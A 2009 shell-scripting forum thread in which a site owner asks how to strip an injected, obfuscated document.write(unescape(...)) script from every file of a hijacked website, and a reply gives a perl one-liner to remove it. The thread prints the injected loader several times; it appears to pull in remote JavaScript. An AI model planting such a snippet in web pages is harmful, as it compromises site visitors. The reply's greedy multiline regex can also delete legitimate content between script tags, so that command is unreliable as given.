find and replace three lines in files?


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting find and replace three lines in files?
# 1  
Old 04-26-2009
find and replace three lines in files?

Hello,
i usually use this for one tag or line:
Code:
find . -type f -exec replace "whatever goes here" "" -- {} \;

but i want to replace three lines in a file for example this:
Code:
<script language=javascript>< 
document.write(unescape('sdfdsfdsa%fasfdsaf%sadfsad7%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 ></script>

someone hijacked all files in a website and need to replace this with emplty

the actual lines are:
Code:
some code goes here <script language=javascript><!-- 
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>

but iwant to replace only:
Code:
<script language=javascript><!-- 
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script>

# 2  
Old 04-26-2009
You can use "perl pie" to perform inline substitutions of multiline patterns in your files.

Suppose the files that you want to fix are: js1.txt, js2.txt js3.txt

Code:
$
$ cat js1.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js2.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js3.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$

The perl command to replace those substrings is as follows:

Code:
$
$ perl -pi -e 'BEGIN {$/="";} {s/<script language=javascript>.*<\/script>/\n/msg;}' js?.txt
$
$ cat js1.txt
some code goes here
<body>
$
$ cat js2.txt
some code goes here
<body>
$
$ cat js3.txt
some code goes here
<body>
$
$

Hope that helps,
tyler_durden
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Script using awk to find and replace a line, how to ignore comment lines

Hello, I have some code that works more or less. This is called by a make file to adjust some hard-coded definitions in the src code. The script generated some values by looking at some of the src files and then writes those values to specific locations in other files. The awk code is used to... (3 Replies)
Discussion started by: LMHmedchem
3 Replies

2. UNIX for Beginners Questions & Answers

Find all .sh files in file system and need to replace the string inside .sh files

Hi All, I need to write a script to find all "*.sh" files in /home file system and if any string find "*.sh" files with the name vijay@gmail.com need to replace with vijay.bhaskar@gmail.com. I just understood about the find the command to search .sh files. Please help me on this. find / -name... (3 Replies)
Discussion started by: bhas85
3 Replies

3. Shell Programming and Scripting

How to find files containing two specific lines and delate those lines?

Hi I need to find files in a specified folder where are two specified lines of text and delate that lines. It looks like this" 35. ?>NL 36. <iframe>.......</iframe>NLThe problem is that "?>" is in the other lines and id should not be removed if the next line is not like "<iframe>....." So... (4 Replies)
Discussion started by: androwida
4 Replies

4. Shell Programming and Scripting

Shell Script to find common lines and replace next line

I want to find common line in two files and replace the next line of first file with the next line of second file. (sed,awk,perl,bash any solution is welcomed ) Case Ignored. Multiple Occurrence of same line. File 1: hgacdavd sndm,ACNMSDC msgid "Rome" msgstr "" kgcksdcgfkdsb... (4 Replies)
Discussion started by: madira
4 Replies

5. Shell Programming and Scripting

Script to find & replace a multiple lines string across multiple php files and subdirectories

Hey guys. I know pratically 0 about Linux, so could anyone please give me instructions on how to accomplish this ? The distro is RedHat 4.1.2 and i need to find and replace a multiple lines string in several php files across subdirectories. So lets say im at root/dir1/dir2/ , when i execute... (12 Replies)
Discussion started by: spfc_dmt
12 Replies

6. Shell Programming and Scripting

Find and replace multiple lines

I have a section of text in file A, see below # falkdjf lkjadf lkjadf lkajdf lkajdf lkajdf lkjadf lkjadf 234.234.2.234 lkjlkjlk 234.234.3.234 # Only the first line with "# falkdjf lkjadf lkjadf" is unique in the file. The new section that I want to overwrite the old section above is in... (1 Reply)
Discussion started by: jyang72211
1 Replies

7. Shell Programming and Scripting

Find and Replace Different Lines

Hi, I am looking at modifiying a file but getting a bit lost with what i am trying to do. I have the following file i need to alter. I want to search a list of files for the DEVSERIAL "0007862454" part but only the numbers. I then need to replace the line under DRIVES with the correct drive... (7 Replies)
Discussion started by: forcefullpower
7 Replies

8. Shell Programming and Scripting

Find 5 lines and replace with 18 line in sql file where it contains multiple blocks.

My sql file xyz_abc.sql in this file there are multiple sql block in this block I need to find the following block rem Subset Rows (&&tempName.*) CREATE VIEW &&tempName.* AS SELECT * FROM &&tempName.* WHERE f is not null and replace with following code rem Subset Rows... (9 Replies)
Discussion started by: Zaheer.mic
9 Replies

9. Shell Programming and Scripting

Replace whole lines in the file from different files

Hi all, I have two parameter blocks in a configuration file, file1.conf. First parameter block starts with PWAT-PARM1 and ends with END PWAT-PARM1. Second parameter block starts with PWAT-PARM2 and ends with END PWAT-PARM2 (please see below in file1.conf). file1.conf is fixed width... (8 Replies)
Discussion started by: Jae
8 Replies

10. Shell Programming and Scripting

sed find and replace multiple lines

I am new to linux and would like to modify the contents of a file preferably using a one line. The situation is as follows <start> some lines "I am the string" "replace string" more lines here <end> In the above example,On encountering "I am the string", the "replace string "should be... (6 Replies)
Discussion started by: supersimha
6 Replies
Login or Register to Ask a Question